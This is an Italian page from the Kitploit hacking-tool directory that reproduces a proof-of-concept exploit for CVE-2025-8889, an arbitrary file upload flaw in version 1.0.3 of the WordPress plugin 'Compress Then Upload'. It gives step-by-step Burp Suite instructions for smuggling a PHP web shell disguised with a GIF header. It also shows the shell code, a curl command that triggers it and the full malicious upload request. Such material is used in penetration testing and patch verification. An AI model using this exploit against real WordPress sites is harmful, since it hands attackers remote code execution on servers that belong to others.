Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/siberkampus/cve-2025-8889
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubsiberkampus/cve-2025-8889

CVE-2025-8889

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Titolo Exploit: Plugin WordPress Compress Then Upload 1.0.3 – Caricamento Arbitrario di File verso RCE

Data: 2025-07-23
Autore Exploit: Muhammed Çelik
Homepage del Venditore: https://wordpress.com/plugins/compress-then-upload
Link del Software: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Versione: 1.0.3
Testato su: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889

Vulnerabilità

Il plugin WordPress "Compress Then Upload Images" non riesce a validare correttamente le estensioni dei file e i tipi MIME durante il caricamento delle immagini tramite la sua interfaccia di upload dei media. Sebbene esistano validazioni lato client, queste possono essere aggirate intercettando e modificando la richiesta di caricamento.

Un utente autenticato con permessi di caricamento dei media (ruolo Autore o superiore) può sfruttare questa vulnerabilità:

  1. Caricando prima un file immagine innocuo
  2. Intercettando la richiesta di caricamento (ad es., tramite Burp Suite)
  3. Modificando l'estensione del nome del file caricato e il contenuto del file per includere codice PHP malevolo
  4. Mantenendo l'header del tipo MIME originale (image/jpeg) per aggirare i deboli controlli lato server
  5. Ottenendo così l'esecuzione arbitraria di codice PHP (Remote Code Execution, RCE) sul server

PoC

Passo 1: Preparare un file immagine normale
Creare un file immagine normale, ad es., regular.jpg (qualsiasi file JPG valido).

Passo 2: Caricare l'immagine normale tramite il Pannello di Amministrazione di WordPress

  • Accedere al Pannello di Amministrazione di WordPress con un utente che abbia almeno i privilegi di Autore.
  • Andare su Media > Compress Then Upload Images (interfaccia di caricamento del plugin).
  • Caricare regular.jpg normalmente.

Passo 3: Intercettare e modificare la richiesta di caricamento con Burp Suite

  • Mentre il caricamento è in corso, intercettare la richiesta HTTP multipart in Burp Suite.
  • Modificare la richiesta:
    • Cambiare filename="regular.jpg" → filename="evil.php"
    • Sostituire il contenuto del file con il codice della web shell PHP:
root@kitploit:~
GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }

Nota: GIF89a; imita un header GIF valido per aggirare le deboli validazioni delle immagini.
Mantenere il Content-Type come image/jpeg.

Inoltrare la richiesta modificata al server.

Passo 4: Attivare la web shell caricata

Se il caricamento ha successo, il file PHP verrà salvato nella directory uploads, ad es.:
http://target-site.com/wp-content/uploads/2025/07/evil.php

Accedervi tramite browser o curl:

curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"

Esempio di Richiesta di Caricamento Malevola (Burp Suite)

root@kitploit:~
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg

GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
?>
?>
Scarica lo strumento